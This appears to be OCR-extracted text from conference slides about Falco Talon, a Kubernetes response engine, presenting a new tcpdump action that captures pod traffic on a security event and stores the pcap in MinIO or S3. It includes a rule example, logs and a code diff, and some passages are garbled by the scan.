init "3 rules have been successfully loaded"

init "watch of rules enabled"

http "Falco Talon is up and listening on 0.0.0.0:2803"

nats "new leader detected '10.42.0.21'"

nats

nats "new leader detected '10.42.0.22'"



A dedicated Actionner
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- rule: Test tcpdump #sf24us

match:

rules:

- Test tcpdump

# output_fields:

# — k8s.ns.name!=kube-system

actions:

— action: Test tcpdump
actionner: kubernetes:tcpdump
parameters:

snaplen: 512
duration: 10
output:
target: minio:s3
parameters:
bucket: falco-talon
prefix: /tcpdump/

- Talon can now run a tcpdump, and export the pcap to a local file (useless in k8s), to Minio or AWS S3
- It can also download any file or export the collected logs to S3 or Minio

https://github.com/falco-talon/falco-talon/pull/308
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2024-06-15T23:52:36+02:00 INF event event="Test tcpdump" output=test priority=Critical source=syscall
trace_id=35f2aab7-8beb-4b6a-al15a-ab8abb6777fc

2024-06-15T23:52:36+02:00 INF match event="Test tcpdump" output=test priority=Critical rule="Tes

source=syscall trace_id=35f2aab7-8beb-4b6a—-al5a-ab8abb6777 fc

2024-06-15T23:52:48+02:00 INF action action="Test tcpdump" actionner=kubernetes:tcpdump event=test

namespace=default output="a tcpdump 'tcpdump.pcap' has been created" pod=cncf-55696bc998-tn9jx rule="Test

status=success trace_id=35f2aab7-8beb-4bba-al15a-ab8abo6777fc

2024-06-15T23:52:48+02:00 INF notification action="Test tcpdump" actionner=kubernetes:tcpdump notifier=k8sevents

rule="Test tcpdump"” status=success trace_i1d=35f2aab7-8beb-4bba-al15a-ab8abs6777fc

2024-06-15T23:52:48+02:00 INF output action="Test Lﬁpiﬁmf“ dest1nat10n:/tmp/2®24—®6—15T23—52—482_defau1t_cncf—

05696bc998- tn9Jx tepdump.pcap file=tcpdump.pcap output="the file 'tcpdump.pcap'’

| 5T 2-487Z_default_cncf-55696bc998-tn9 jx_tcpdump.pcap'" status=success target=local:file trace_ 1d:0af2aab7 8beb-
4bba-al5a-ab8abs6T7 7T fc

2024-06-15T23:52:48+02:00 INF notification action="Test tcpdump" actionner=kubernetes:tcpdump notifier=k8sevents
rule="Test tcpdump"” status=success trace_i1d=35f2aab7-8beb-4b6a-al15a-ab8abs56777fc

Talon can now run a tcpdump, and export the pcap to a local file (useless in k8s), to Minio or AWS S3
- It can also download any file or export the collected logs to S3 or Minio

https://github.com/falco-talon/falco-talon/pull/308




The choice of Minio
& S3 (Simple Storage Service)

#sf24us

OBJECT STORE a
EERVE’ |ICENSE

User E falco-talon

R Object Browser

< faico-talon / tepdump

- Name Last Modified

2024-06-16T00-01-12Z_default_cncf-55696bc998-tn9jx_tcpdump.pcap Today, 00:01

- MinlO is a high-performance, S3 compatible object store.

- It is built for large scale Al/ML, data lake and database workloads.

- It is software-defined and runs on any cloud or on-premises infrastructure.

- MinlQO is dual-licensed under open source GNU AGPL v3 and a commercial enterprise license.

https://min.io/

June 15 20IF|alrf| ax VA

32.4 KiB




Showing 9 changed files with 240 additions and 25 deletions. Split | Unified

v g 13 actionners/actionners.go L
#sf24us
15 @@ -17,6 +17,7 @@ import (
17 17 k8sLog "github.com/falco-talon/falco-talon/actionners/kubernetes/log"
18 18 k8sNetworkpolicy "github.com/falco-talon/falco-talon/actionners/kubernetes/networkpolicy" " " " .
19 19 k8sScript "github.com/falco-talon/falco-talon/actionners/kubernetes/script" ThIS IS Stl” a PR pendlng
p k8sTcpdump "github.com/falco-talon/falco-talon/actionners/kubernetes/tcpdump" addlthn to the main
20 21 k8sTerminate "github.com/falco-talon/falco-talon/actionners/kubernetes/terminate” .
21 22 "github.com/falco-talon/falco-talon/configuration" Fa|CO Ta|0n prOJeCt
22 23 awsChecks "github.com/falco-talon/falco-talon/internal/aws/checks"
4 @@ -181,6 +182,18 @@ func GetDefaultActionners() *Actionners { , .
_?. N ’ ! ~—
----- Without any options set,
181 182 AllowAdditionalContexts: true, .
182 183 RequireQutput: true, tShark W|” WOrk mUCh
183 184 }, : 5
= T like tcpdump. It will use
186 + Category: "kubernetes", the pcap Ilbrary tO
187 + Name: "tcpdump", .
188 + DefaultContinue: true, capture traffic from the
189 + Init: k8s.Init, . "
190 + Checks: []lcheckActionner{ fIrSt avallable netWOrk
13; + } k8sChecks.CheckPodExist, |nterface and dlsplays a
+ ’ .
193 + CheckParameters: k8sTcpdump.CheckParameters, Summary ||ne On the
194 + Action: k8sTcpdump.Action,
195 + RequireQutput: true, Standard OUtpl'It for eaCh
196 + 3 received packet.
184 197 S&Actionner{
185 198 Category: "aws",
186 199 Name: "lambda",

https://github.com/falco-talon/falco-talon/pull/308
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https://sysdig.com/blog/optimizing-wireshark-in-kubernetes/
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